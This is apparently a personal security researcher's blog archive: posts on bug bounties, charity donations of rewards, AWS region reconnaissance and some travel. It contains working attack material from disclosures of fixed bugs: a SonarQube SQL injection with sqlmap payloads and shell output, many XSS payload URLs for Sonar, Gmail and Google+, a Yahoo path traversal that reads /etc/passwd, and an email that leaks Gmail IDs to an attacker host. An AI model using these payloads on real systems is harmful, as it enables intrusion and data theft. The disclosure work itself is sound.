Two years ago I've leaked the eu-central-1 in Frankfurt. Today I found the first hints for a new region called eu-west-2.

There are already API endpoints with a valid DNS record and a correct TLS subject in the certificate reachable:

$ timeout 1 openssl s_client -connect ec2.eu-west-2.amazonaws.com:443 2>&1 |grep subject
subject=/C=US/ST=Washington/L=Seattle/O=Amazon.com, Inc./CN=ec2.eu-west-2.amazonaws.com

This region is located is somewhere located in the UK. Based on latency it's in the metro region London.

From a host located in London we have a latency to this region between 1-3ms.

Packets               Pings
Host                                                                                                                     Loss%   Snt   Last   Avg  Best  Wrst StDev
1. router1-lon.linode.com                                                                                                 0.0%    15    0.7   0.7   0.6   1.2   0.0
2. 109.74.207.0                                                                                                           0.0%    15    0.9   1.6   0.7   2.4   0.4
3. 109.74.207.9                                                                                                           0.0%    15    2.6   1.1   0.8   2.6   0.5
4. 195.66.225.175                                                                                                         0.0%    14    1.4   2.6   1.3  15.2   3.6
5. 178.236.3.51                                                                                                           0.0%    14    2.6   3.2   2.5   7.0   1.2
6. 178.236.3.22                                                                                                           0.0%    14    3.4   2.9   2.5   4.5   0.3
7. 54.239.101.136                                                                                                         0.0%    14   24.1  15.4   5.3  24.1   5.6
8. 52.94.33.127                                                                                                           0.0%    14    2.6   2.7   2.5   3.5   0.0
9. 52.94.33.12                                                                                                            0.0%    14    3.6   4.0   2.3   7.1   1.8
10. ???
11. ???
12. ???
13. ???
14. 52.94.48.63                                                                                                            0.0%    14    2.3   2.3   2.1   2.9   0.0

The AWS Cloud operates today 35 Availability Zones within 13 geographic Regions around the world.

AWS says that 5 more Regions will come through the next year. eu-west-2 is probably launching in the next weeks.

In January 2015, Google launched an experimental program called Vulnerability Research Grants to complement the long-running Vulnerability Reward Program, with the goal of rewarding security researchers who verify the security of Google products and services, even in the case when no vulnerabilities are found.

As a regular reporter to the VRP, I was rewarded with a $1.337 USD Grant on the 5th of February, which I appreciated a lot.

Google offers the option to donate your grant to an established charity. If you do so, they will double the donation.

I've decided to donate this Grant to the non-profit organization Ingenieure ohne Grenzen (Engineers without borders).

Building a solar power plant

Since the price of diesel is growing constantly and the supply of diesel generators is unreliable, the energy supply for the Baramba Girls Secondary School (northern Tanzania, close to the borders with Uganda, Rwanda and Burundi), is no longer guaranteed.

About the baramba girls school

The Berlin regional group of the relief organization Engineers Without Borders wants to provide the school with a solar plant, which is optimal to ensure constant energy supply, considering the local climatic conditions.

The campus of the Baramba Girls Secondary School is home to 200 students, who are between 14 and 17 years old. Currently, the energy supply is provided by an old generator, which runs on diesel. With the energy provided, the dormitories and the teachers’ rooms are lit for an hour as a maximum, and even this is very unreliable. Because the school is located near the Equator, it gets dark at about 6 p.m. The computer classroom with 21 computers is supplied with energy only for several hours a week. The diesel price has been growing constantly during the last year, so that the energy supply of the school has been reduced to a minimum.

In many regions of Tanzania people still can't afford the cost of tuition for the education of their kids. If a family happens to have the possibility to finance the school for one child, they usually prefer to let their sons go to school, so that the can get a better job and be able to support their own family in the future. Furthermore, most of the public schools are boys schools. Therefore, it is particularly important to give the girls an opportunity to benefit from higher education and to prevent the gender discrimination.

Unfortunately, the fundraising for this project is not completed yet, so if you want to support the Baramba Girls School, please donate via Betterplace or directly to Engineers without borders (german).

In the last years I've donated regularly some of the rewards from Google's VRP to different schools in Africa to improve the schooling conditions of the local people.

2012

• $2600 USD for a school in in Welkite (Ethiopia)

2013

• $1.000 USD for a kindergarten in Tomegbé (Togo)
• $1.000 USD for a primary school in Ilketunjo (Ethiopia)

2015

• $2.674 USD for a secondary girls school in Tanzania

The total amount donated is now $7.274 USD. Thank you, Google Security Team, for making this donations possible.

In 1994 I was the first time at Rubjerg Knude. This lighthouse is located on the coast of the North Sea in Rubjerg, in the Jutland municipality of Hjørring.

At this time I bought my first analog camera - a small analog APS camera. Unfortunately I can't remember the brand.

Both shifting sands and coastal erosion are a serious problem in the area. The coast is eroded on average 1.5 metres a year. Built around 1250, the church was originally 1 kilometre from the coast, but was dismantled in 2008 to prevent its falling into the sea.

Last year I went with my brother again to the Rubjerg Knude Lighthouse and I made this aerial footage with a Gopro Hero3 and a DJI Phantom 2:

By 2009, the small buildings were severely damaged by the pressure of the sand and were later removed. It is expected that the tower will fall into the sea by 2023.

In March Andy Jassy, senior vice president of Amazon Web Services Unit said to the Wallstreet Journal, that Germany is "one of the few countries" where customers are asking for a data center "on their own soil". This news is now 4 month old and it looks like that a german AWS region is finally arriving.

There are currently 8 public available regions. The region in Germany will be named eu-central-1.
The endpoints for all major services are already set up, but network traffic to http or https is blocked.

A traceroute to ec2.eu-central-1.amazonaws.com is showing us, that the traffic is going to Frankfurt am Main (ffm):

$ traceroute ec2.eu-central-1.amazonaws.comtraceroute to ec2.eu-central-1.amazonaws.com (54.239.54.4), 30 hops max, 60 byte packets 
1  vl500.dcata-b16.as6724.net (85.214.1.22)  2.426 ms  2.410 ms  2.390 ms 
2  be16.432.core-b2.as6724.net (85.214.0.156)  0.342 ms  0.340 ms  0.327 ms 
3  xe-1-2-0.core-b30.as6724.net (85.214.0.69)  1.283 ms  1.291 ms  1.278 ms 
4  bei-b2-link.telia.net (213.248.88.89)  1.265 ms  1.253 ms  1.239 ms 
5  ffm-bb2-link.telia.net (80.91.254.228)  19.178 ms  
6  ffm-b10-link.telia.net (213.155.134.137)  19.094 ms  
7  a100row-ic-306996-ffm-b10.c.telia.net (62.115.46.130)  18.829 ms  18.818 ms  18.807 ms 
8  54.239.4.164 (54.239.4.164)  20.768 ms 54.239.4.166 (54.239.4.166)  20.774 ms 54.239.4.168 (54.239.4.168)  19.758 ms

Let's see how many days or weeks we have to wait, before we can start migrating services from eu-west-1 to Germany.

Update 2014/07/06: Since this report Amazon has removed the DNS records for all hosts in the network 53.239.54.0/24 used by eu-central-1 api endpoints.

Update 2014/08/04: Someone has spotted eu-central-1 in the AWS console:

New #AWS region eu-central-1 (Germany) spotted in AWS Console! pic.twitter.com/dD2FPMEX8X

— Martin Schayna (@mschayna) August 1, 2014

$ nmap -p 443 54.239.54.0/24 |grep 54.239.54 | awk '{print $5}'
54.239.54.24
54.239.54.25
54.239.54.27
54.239.54.32
54.239.54.33
54.239.54.35
54.239.54.40
54.239.54.41
54.239.54.43

But we can still figure out with openssl that we've discovered the eu-central-1 site. :-)

$ timeout 1 openssl s_client -connect \
54.239.54.25:443 2>&1 |grep subject

subject=/C=US/ST=Washington/L=Seattle/O=Amazon.com 
Inc./CN=dynamodb.eu-central-1.amazonaws.

Last year I found a exploitable boolean-based / AND/OR time-based blind SQL injection vulnerability in Sonatype SonarQube >=3.4 and <3.6.1.

CVSS v2 Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:C)
Overall Score: 9
SonarQube (formerly Sonar) is an open source platform for Continuous Inspection of code quality.

This is the first public advisory of the issue. This advisory additionally includes a list of fixed and undisclosed XSS bugs in Sonar >=3.5.1.

Timeline

• 2013-04-31 Filled a bug in Sonar Jira [1]
• 2013-05-01 SQL Injection reported via email to Freddy Mallet from Sonatype 
• 2013-05-07 Bug confirmed by Freddy Mallet 
• 2013-06-24
• Simon Brandhof started working on the issue
• they planned to fix the bug in August 2013 with version 3.7
• Issue silently fixed in their GitHub repo [2]
• I told them that it is a bad idea to have a SQL injection fixed in the code without any advisory for the community.* 2013-06-28 They told me, they release in the next days a new version containing the fix
• 2013-07-12 Sonar 3.6.1 released without security advisory or any mention of the bug in the Release Notes

In the last months they decided to delete the issue from Jira [4] but someone or a automated process added the issue to the OVSDB [5], but without any specific information about the bug.After I figured out, that the bug is fixed in the Sonar GitHub repo I notified a friend from the Apache Software Foundation, because https://analysis.apache.org was running the vulnerable version of Sonar and the site was potentially in risk. Probably that's the reason why the bug is listed at OVSDB.

SQL Injection details The vulnerable part is the measure search function:

/measures/search?qualifiers%5B%5D=BRC&c1_op=eq&c2_op=eq&c3_op=eq&search=Search

When we change the qualifiers[] GET parameter to a single back-tick ('), we can see a SQL syntax error in Sonar's logfile:

2013.05.01 12:34:57 ERROR o.s.MEASURE_FILTER  Fail to execute measure filter: MeasureFilterContext[filter={qualifiers='|c1_op=eq|c2_op=eq|c3_op=eq|display=list|cols=metric:alert_statusnamedatemetric:nclocmetric:violationslinks|sort=name|asc=true|pageSize=100},sql=SELECT s.id, s.project_id, s.root_project_id, p.long_name FROM snapshots s INNER JOIN projects p ON s.project_id=p.id  WHERE  s.status='P' AND s.islast=true AND p.copy_resource_id IS NULL  AND s.qualifier IN  (''') ,user=<null>]
com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''')' at line 1

From here it's easy to exploit:

nils@mac sqlmap]$ ./sqlmap.py -u 'http://192.168.4.107:9000/measures/search?qualifiers%5B%5D=BRC&c1_op=eq&c2_op=eq&c3_op=eq&search=Search' -p 'qualifiers%5B%5D' --level 3 --risk 3 --sql-shell --dbms=mysql

[..]

GET parameter 'qualifiers[]' is vulnerable. 

Do you want to keep testing the others (if any)? [y/N] n

sqlmap identified the following injection points with a total of 173 HTTP(s) requests:

---

Place: GET
Parameter: qualifiers[]    
    Type: boolean-based blind    
    Title: AND boolean-based blind - WHERE or HAVING clause        Payload: qualifiers[]=BRC') AND 8295=8295 AND ('KiEs'='KiEs&c1_op=eq&c2_op=eq&c3_op=eq&search=Search    
    
    Type: AND/OR time-based blind    
    Title: MySQL > 5.0.11 AND time-based blind    
    Payload: qualifiers[]=BRC') AND SLEEP(5) AND ('QxFe'='QxFe&c1_op=eq&c2_op=eq&c3_op=eq&search=Search
    
---

[14:23:09] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11

Now we have a SQL shell to our database and we can run any query against the database:

[14:23:09] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select login from users;
[14:23:28] [INFO] fetching SQL SELECT statement query output: 'select login from users'
[14:23:28] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[14:23:28] [INFO] retrieved: 1 the SQL query provided can return 1 entries. How many entries do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit> a

[14:23:32] [INFO] retrieved: adminselect login from users; [1]:[*] adminsql-shell>

The fix

@@ -210,9 +210,16 @@ private void appendResourceNameCondition(StringBuilder sb) {
    }
  
    private static void appendInStatement(List<String> values, StringBuilder to) {
 -    to.append(" ('");
 -    to.append(StringUtils.join(values, "','"));
 -    to.append("') ");
 +    to.append(" (");
 +    for (int i=0 ; i<values.size() ; i++) {
 +      if (i>0) {
 +        to.append(",");
 +      }
 +      to.append("'");
 +      to.append(StringEscapeUtils.escapeSql(values.get(i)));
 +      to.append("'");
 +    }
 +    to.append(") ");
    }

XSS in Sonar/SonarQube

In my discussions with Sonatype I've reported a lot of reflective and persistent XSS bugs and issues with missing CSRF tokens to the team. All issues are fixed silently fixed without a release note or a security advisory. I believe everything is fixed in Sonar >=3.7.

Reflective XSS:

/confirm?url=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

/dependencies/index?search="><script>alert(1)</script>
/measures/search?qualifiers%5B%5D=</script><script>alert(1)</script>&c1_op=eq&c2_op=eq&c3_op=eq&search=Search

/reviews/index?review_id=846&statuses%5B%5D=REOPENED&severities%5B%5D=&projects%5B%5D=&author_login=&assignee_login="><script>alert(1)</script>&false_positives=without&sort=&asc=false&commit=Search (author_login as well)

Reflective XSS in POST requests:

POST /roles/projects?qualifier=TRK HTTP/1.1
[..]

q="><script>alert(1)</script>POST /roles/projects?q=c [..]qualifier="><script>alert(1)</script>

Missing CSRF protection with XSS in result:

/groups/create?group%5Bname%5D=<script>alert(1)</script>&group%5Bdescription%5D=foo&commit=Create

POST /roles/edit_users?redirect=global HTTP/1.1
[..]

role="><script>alert(1)</script>3\. 

Summary

Upgrade always to the latest version of SonarQube. Don't trust the changelog! Probably there is always a security fixed inside the package. Run your SonarQube instance only in your local network to prevent access from the public internet. Setup the SonarQube user management to prevent access from unauthorised users.

• [1] http://markmail.org/message/ahckqrlnbs3yjmet#query:+page:1+mid:hlhp6zchme57hwm6+state:results
• [2] https://github.com/SonarSource/sonar/commit/08257f901822eba9bc060ea3b9b391f314d13218
• [3] http://jira.codehaus.org/secure/ReleaseNote.jspa?projectId=11694&version=19350
• [4] https://jira.codehaus.org/browse/SONAR-4278
• [5] http://osvdb.org/94501

Yahoo Japan suspects up to 22 million user IDs may have been leaked; does not include passwords #breaking
— Reuters Tech (@ReutersTech) May 17, 2013

This wouldn't happen if Yahoo had a Vulnerability Reward Program like Google, Facebook, Mozilla, Paypal, Etsy, etc (list of reward programs @bugcrowd).

Last year I discovered a LFI/Path Traversal vulnerability in a REST-API used by Yahoo Mail and I got a automated mail from their mailer. I refused to report more bugs to them because it's boring to talk with bots.

GET /v2/xframe/../../../../../../../etc/passwd?bc
HTTP/1.1
Host: prod1.rest-notify.msg.yahoo.com

HTTP/1.1 200 OK
Connection: close
Expires: Thu, 15 Apr 2020 20:00:00 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 29676

root:*:0:0:Charlie &:/root:/usr/local/bin/bash
toor:*:0:0:Bourne-again Superuser:/root:/bin/sh
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin

Some minutes later I got a automated reply from Yahoo Security Contact (security at yahoo-inc.com)

Nils,

Thank you for contacting Yahoo!. These issues have been passed
along to the correct teams to investigate. Should a fix be required,
we will again contact you and ask that you see the issues as resolved.

Thanks again,
Yahoo! Security Contact

Days later the issue was fixed. But no more replies from them!

Yahoo, please start with a Vulnerability Reward Program and get in touch with the community - before it's too late.

Vor zwei Jahren startete Google sein Vulnerability Reward Program und bezahlt seitdem Findern sicherheitsrelevanter Fehler in seinen Web-Anwendungen Belohnungen. In Summe wurden bisher $704.909,50 (Stand Dez. 2012) ausbezahlt. Obwohl Google bei Spenden den eigentlichen Reward verdoppelt, wurden bisher lediglich $25.825 (Quelle S.42) an gemeinnützige Organisationen gespendet.

Letztes Jahr (Ethiopia gets a new school - thanks to a XSS in Google+) konnte ich, dank eines XSS Bugs auf Google+, eine Schule in Welkite/Äthiopien mit $2.600 unterstützen.

Ich möchte Dir […] sehr für Dein Engagement danken. Deine/Die Spende von Google hat einen gewaltigen Entwicklungschritt möglich gemacht.

Hendrik Kempfert aus Hamburg von socialwaydown.com hat 2010 bei seinem Sabbatical (Von Hamburg nach Capetown) die Schule in Welkite besucht und viele Leute vor Ort kennengelernt. Inzwischen ist er mit den Projektinitiatoren eng befreundet. Hendrik konnte mir dann auch berichten, dass die Spende einen großen Fortschritt bewirkt hat.

Keita Haga aus Japan – ebenfalls Teilnehmer des Bounty Programms – spendete $1000 an das gleiche Projekt, was mich sehr gefreut hat.

Persistentes XSS bei Veranstaltungen in Google+ und bei Panoramio

Im Dezember 2012 hat mich Google für ein XSS bei Google+ und bei Panoramio mit jeweils $500 belohnt. Bei dem XSS in Google+ handelte es sich um ein persistent XSS in den Veranstaltungen (Events). Fügt man einen existierenden Ort zu einem Event hinzu, wird in einem Tooltip die genaue Adresse des Ortes angezeigt. Wichtig dabei, der Ort muss bereits bei Google vorhanden sein.

Die Adresse wird beim Überfliegen mit der Maus in einem Tooltip angezeigt

Um die Adresse zu manipulieren, war es nötig, den entsprechenden POST Request zum Speichern des Events zu verändern. Am besten eignet sich dafür Burpsuite Pro oder ZAP Proxy vom OWASP Project.

Die Location selber wird durch eine ID festgelegt, der Name und die Adresse sind komplett veränderbar.

Nicht korrekt escaped war alles, was im Tooltip angezeigt wird. Es gab dann auch gleich sehr viele Snippets, auf denen das Event mit dem Tooltip angezeigt wurde, die dann auch entsprechend verwundbar waren.

Orte, an denen das XSS sichtbar war:

• das Event teilen (dann steht es bei jedem Follower in der Timeline)
• Benachrichtigung in der Notificationbar auf allen Google-Seiten mit der Menüleiste (document.domain für das iframe ist immer plus.google.com)
• Benachrichtigungsmails im Gmail (ebenfalls als iframe)
• auf der Event-Seite
  Theoretisch hätte man mit diesem Fehler einen XSS-Wurm für Google+ bauen können – allerdings wäre durch den Tooltip noch ein wenig Nutzerinteraktion notwendig. Google hat den Fehler trotzdem innerhalb weniger Stunden geschlossen.

Ich habe auf Betterplace zwei spannende Projekte gefunden, die ich mit jeweils $1000 (753 €) unterstützen möchte. Beide Projekte versuchen Kindern eine Zukunft mit Bildung zu ermöglichen. Grundvoraussetzung dafür sind Gebäude und eine Umgebung, die zum Lernen geeignet ist.

$ 1000 für einen Kindergarten in Tomegbé / Togo

Aus der Projektbeschreibung für den neuen Kindergarten:

"Kindergarten für Togo" ist ein Projekt, welches von agbe e.V. und dem togoischen Partner Asmerade ins Leben gerufen wurde. Die Initiative stammt direkt aus der Bevölkerung von Tomegbé, die bei der Durch- und Weiterführung sehr stark beteiligt ist. Der Bauplan hierzu wurde von einem togoischen Architekturbüro erstellt und die drei Kindergärtnerinnen werden aus der Gemeinde von Tomegbé stammen.
Der Kindergarten wird für 120 Kinder einen Platz garantieren können. Doch nicht nur die Kinder profitieren davon, auch deren Mütter und damit die gesamte Gemeinschaft. Die wirtschaftliche Situation im Land ist sehr schlecht, die Mütter sind überlastet und die mangelhafte Hygiene lässt viele Kinder nicht einmal das Grundschulalter erleben. Die Gemeinde von Tomegbé sieht das Fehlen des Kindergartens als Schlüsselproblem einer besseren Zukunft an. _

$ 1000 für eine Grundschule in Ilketunjo / Äthiopien

Aus der Projektbeschreibung von Betterplace:

Die Kooperative Ilketunjo hat zwei Schulen, wobei insbesondere die weiter entlegene Schule – die sogenannte „Satellite School“ – unsere Hilfe benötigt. Das Gebäude der Schule besteht aus bereits zerfallenden Lehmwänden und einem Lehmboden, sanitäre Anlagen fehlen komplett. Die mangelnde Schulausstattung mit Möbeln wie Tischen, Bänken und Stühlen macht es fast unmöglich die rund 1.000 Kinder der Umgebung zu unterrichten.
Diese Situation führt dazu, dass die Schüler nur sehr widerwillig in die Schule gehen und oft über mehrere Tage nicht am Unterricht teilnehmen. Für uns ist es nur schwer vorstellbar, aber so lernen viele Kinder nicht einmal Grundlegendes wie lesen und schreiben.”_

Betterplace die Crowdfunding Plattform für Hilfsprojekte

betterplace.org ist eine offene Spenden-Plattform im Internet. In Deutschland als gemeinnützig anerkannte Organisationen, aber auch andere Organisationen und Individualprojekte, können auf der Webseite um Geld-, Sach- oder Zeitspenden werben. Über betterplace.org wurden zwischen der Gründung 2007 und Ende April 2010 mehr als 2,5 Millionen Euro gespendet.

Ich würde mich freuen, wenn der eine oder andere auch seine Bug Bounty Rewards für eines der Projekte spendet.

• Kindergarten in Tomegbé / Togo
• Grundschule in Ilketunjo / Äthiopien

Recently Adam Mein spoke at AppSec USA 2012 and Kevin Stadmeyer at SysScan 360 in Beijing about Google's experience with the Web Vulnerability Reward Program. Both are Security Program Manager at Google.

• 31 October 2011 - Bug Bounty Panel with Adam Mein at OWASP AppSec 2012 (Video, Transcript)
• 13 December 2012 - Kevin Stadmeyer at SysScan 360 in Beijing, Conference Schedule

Kevin's slides are only available in PDF. But I tried to extract some numbers from the images and recreated the charts with Google Spreadsheets (charts below).

They told that they have paid for about 50/50 in terms of sensitive apps and non-sensitive apps. Even more in non-google.com domains and it's not surprising that 20% of people are responsible for ~80% of the bugs (http://en.wikipedia.org/wiki/Pareto_principle).

Whats else happened this year? In April the reward amounts increased up to $20,000 for RCE bugs on production servers. I'm not sure whether this incentive measure has led to more bug reports. I think most of the "low hanging fruits" are already discovered by the various tester in the world. The bug-tickets/month will now be dependent on how many changes Google makes every month to its applications.

Since October all application security informations are bundled into a new page. It included the new ranked "Hall of Fame", the publications of their security research and a listing with all security conferences where a Google employee was speaking.

Google's information security team has also recently hired one engineer from the VRP regulars. They hired also this year two new Security Program Manager. For me this is sign for a strong committment to the VRP and a sign to strengthen their long-term relationship with the security community.

In total Google has paid $ 704,909.50 since the beginning of VRP in end of 2010 for bugs in web applications.

Money distribution heatmap by country

$410,000 in the first year of VRP and $704,909.50 in total at end of August 2012.

The country ranking is: Germany, USA, Poland, Japan, Israel, Brazil, Russia.

Some older insights and numbers from Google about VRP:

• 9 February 2011 - Update from Adam Mein in Google Online Security Blog
• 7 March 2011 - Slides from Adam Mein at SANS AppSec 2011

I'm very excited, because the Google Security Team has launched new Application Security pages, including a new Hall of Fame called 0x0A list.

Now all related security informations are bundled to a central page.

The table below lists the top 10 superstar perform,er since Google launched the vulnerability reward program back in November 2010. Here is the initial list from the 1th October 2012, completed with an additional link to the twitter profile and the origin of these guys.I'm very happy to see my name on top after >250 submissions. Thank you so much Google and congratulation to all people on the list.

Google said that the ranking is influenced by volume, severity, recency and charity.

• Safebrowsing
• Google's Security Tools
• 2-Step-Verification
• Vulnerability Reward Program
• warnings for suspected state-sponsored attacks
• The Browser Security Handbook
• Webmaster Tools warnings for hackable sites
• Google+ with CSP evaluation

Google shared some stats about the VRP last year and told that around 65% of all reported bugs are XSS.

And that statistics are completely true. Here my stats made with around 220 bugs:

So the numbers are nearly the same and I think every other company who develop web application has the same bug distribution and a much higher amount of bugs. Google has made a great job and compared with the amount of new features and new products, the relative frequency of security bugs is quite low.

Today I want to share 3 different XSS vulnerabilties in Google Gmail.

Persistent DOM XSS (innerHTML) in Gmail's mobile view.

A incoming mail containing ><img src=x onerror=prompt(1)> within the subject and forwarded to another user, has lead to XSS.

That's a funny bug, because something went wrong while some engineers was working on a fix. For some hours every fowarded message contain

// The body is already esacped

Oops!

Reflective DOM XSS in Gmail's mobile view

https://mail.google.com/mail/mu/#cv/search/"><img src%3Dx onerror%3Dalert(2)>/foobar

That's all. Just a simple reflective XSS in the search feature for labels.

Persistent XSS in Gmail

There are two ways to display a message directly:

1. https://mail.google.com/mail/u/0/?ui=2&ik=293aded8ef&view=om&th=237da8dbcf05dac2
2. https://mail.google.com/mail/u/0/?ui=2&ik=293aded8ef&view=domraw&th=237da8dbcf05dac2

The GET parameters:

• ik - it's a static ID for that particular user
• view - representing the current view of Gmail
• th - message id

The response of both requests was text/plain. With a special crafted URL it was possible to force a HTTP/1.1 500 Internal Server Error with some content lines of the message.

The Content-Type was then: text/html.

But we still have a problem - an attacker doesn't know the ik and the message id. Without both values it's not possible to generate the special URL.

But it's easy to get both values through referer leaking. We have to send to our victim a HTML e-mail with that content:

<img src="https://attackershost.com/1x1.gif">
<a href="https://attackershost.com/gmailxss">Click here to have fun</a>
<script>alert(/xss/)</script>

• the 1x1.gif leakes the ik and the message id to attackershost.com (images were loaded in the print preview if the sender is a trusted mail source)
• the link to attackershost.com/gmailxss has the same effect, leakes the referer by mouse click
• and a alert(/xss/) _to demonstrate that's possible to run javascript in context of mail.google.com

The Google Security Team took immediately actions and blocked the particular GET parameter on their frontends as intermediate fix with the message:

We're sorry ... but your computer or network may be sending automated queries. To protect our users, we can't process your request right now.

If you want to read more about Google's VRP I recommend you the talk of Nir Goldshlager "Killing a bug bounty program" or you can just read some of my older posts here, here, here and here.

Any questions? Use the comments below the post.

PS: Enable 2-step-verification for your Google account today to make your Gmail more secure.

Update 04/29/12: This blog post leads to a persistent XSS bug within InformationWeek.com
 (screenshot), because Charlie Miller has tweeted about it. :-)
 
Update 05/02/12: InformationWeek has fixed the issue.

I contribute to the Google Vulnerability Reward Program since November 2010 now and I found a lot of security bugs in nearly all major Google applications.

This month I found two different persistent XSS vulnerabilities in Google+. One of these I want to disclose here because that bug hopefully makes the life of some childrens a bit better.

My testing Google+ profile is named

"><img src=x onerror=prompt(1)>

If a users has more than 6 public photo albums the name wasn't escaped on the profile page.

The screenshot shows the bug in action.

The Google Security Team responded very fast and delivered a valid fix to production after some hours. For this vulnerability I got a reward of $1,000 USD.

From three other minor bugs I got $300 USD.

Some notes and background information about the threats of HTML injections can be found here

I decided to donate all the money to a school project in Welkite (Ethiopia).

From the Project Manager of Bessere Zukunft e.V. about that school:

At this school there is a lack of fundamental supply with water, toilets and electricity. Because there are barely any educational books, school materials and furniture (see photos), sufficient school education isn’t possible.
Welkite is 180 km away from capital city Addis Ababa. At this elementary school approximately 750 children go to grade one to eight. The classrooms have not enough room and benches to sit for the 80 children per grade. Often four to five children have to share a seating bench. Most of the children have to walk 45 minutes to one hour to get to school. At this school there is no access to water, electricity and enough adequate toilets.

If you decide to donate your money from Google to charity Google doubles the rewards! So I'm able to donate $2,600 USD to this project.

Google has made the donation for me via Betterplace.

There is another school project from Bessere Zukunft e.V in East Africa. Do you want to donate too? Do it here.

Thanks so much to the Google Security Team who made this possible!

Adam Mein from the Google Security Team shared today some stats from the VRP of the last 12 months.

The facts about one year VRP: $429.000 paid to around 200 researcher for 750qualifying bugs.

Roughly half of the bugs that received a reward were discovered in software written by approximately 50 companies that Google acquired.

Adam told in 2011 that 20% of people are responsible for around 80% of all bugs.

Here some reports from researchers who participate in the VRP:

• XSS iGoogle, XSS Google Translate
• XSS Recaptcha
• Reflected DOM based XSS Google Code
• XSS Google Analytics
• XSS Google Adwords (1)
• XSS Google Adwords (2)
• XSS Google Webmaster Support Forum
• XSS Jaiku
• XSS Aardvark
• XSS Blogger.com
• XSS Google Code
• CSRF Google Feedburner
• XSS Android Market
• XSS Google Website Optimizer
• XSS accounts.youtube.com
• XSS Invitemedia
• XSS Google Calendar (german)
• Masato Kinugawa ($30.000 Tweet)
• Gain Blogger.com Administrator Priviledge

My personal stats about one year VRP can be found here.

After many hours reading different versions of manuals I found out, that's not possible to perform a pairing operation between Icon HD Tank Module and the computer without pressure on a tank.

The hint that's the manual is wrong is inside the Erate Corrige:

In Section 1.8 it is mentioned that the tank module does not need to be mounted on a regulator first stage. This is incorrect. To perform the pairing operation, the tank module must be pressurized to at least 15bar/220psi. Hence it must be mounted on a first stage regulator, which is itself mounted on a full scuba tank and the valve opened.

Hopefully the battery of the Tank Module is full and I'm able to pair both devices tomorrow at Helengeli Island.

Key Features of ICON HD:

• Max depth 150m
• Digital compass
• Decompression model: RGBM Mares - Wienke (10 tissues)
• Extended display
• Wide screen for superior readability
• Digital descent/ascent speed indicator
• Air integrated (Tank pressure, breathing rate)
• Nitrox with option to use up to 3 different mixes
• Bottom Time/Gauge with stopwatch
• Seabed map available during dive
• USB interface to PC
• Temperature measurement
• Logbook for 100 dives

It's my first dive computer and I think it's currently one of the best dive computers for divers who wants to enjoy a secure dive.

In the past I've reported a lot of security bugs to Google (you find here some stats about the last year) and three months ago I've found in just one night a lot of reflective XSS bugs on different apple.com sites.

If I try to compare both security team, I feel with Google much more comfortable to communicate. Apple is slow in the first response, didn't told me that a bug is fixed and I had to report some bugs twice to get a confirmation that they started working on it.

Compared to other companies Apple has a lot of deprecated (?) legacy applications running. It looks like a mingle-mangle of different programming languages, application servers, domains or hostnames and independently running services - with a lot of bugs.

Did you know, that Apple has a credit page who have reported potential security issues? They call it Apple Webserver Notifications.

Update: Here a explanation from OWASP what XSS is.

Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.

So, here we go with the XSS Gallery:

discussions.apple.com

www.apple.com

developer.apple.com

lists.apple.com

support.apple.com

backenend.media.euro.apple.com

canadaedu.apple.com

canadaedu.apple.com

qtdevseed.apple.com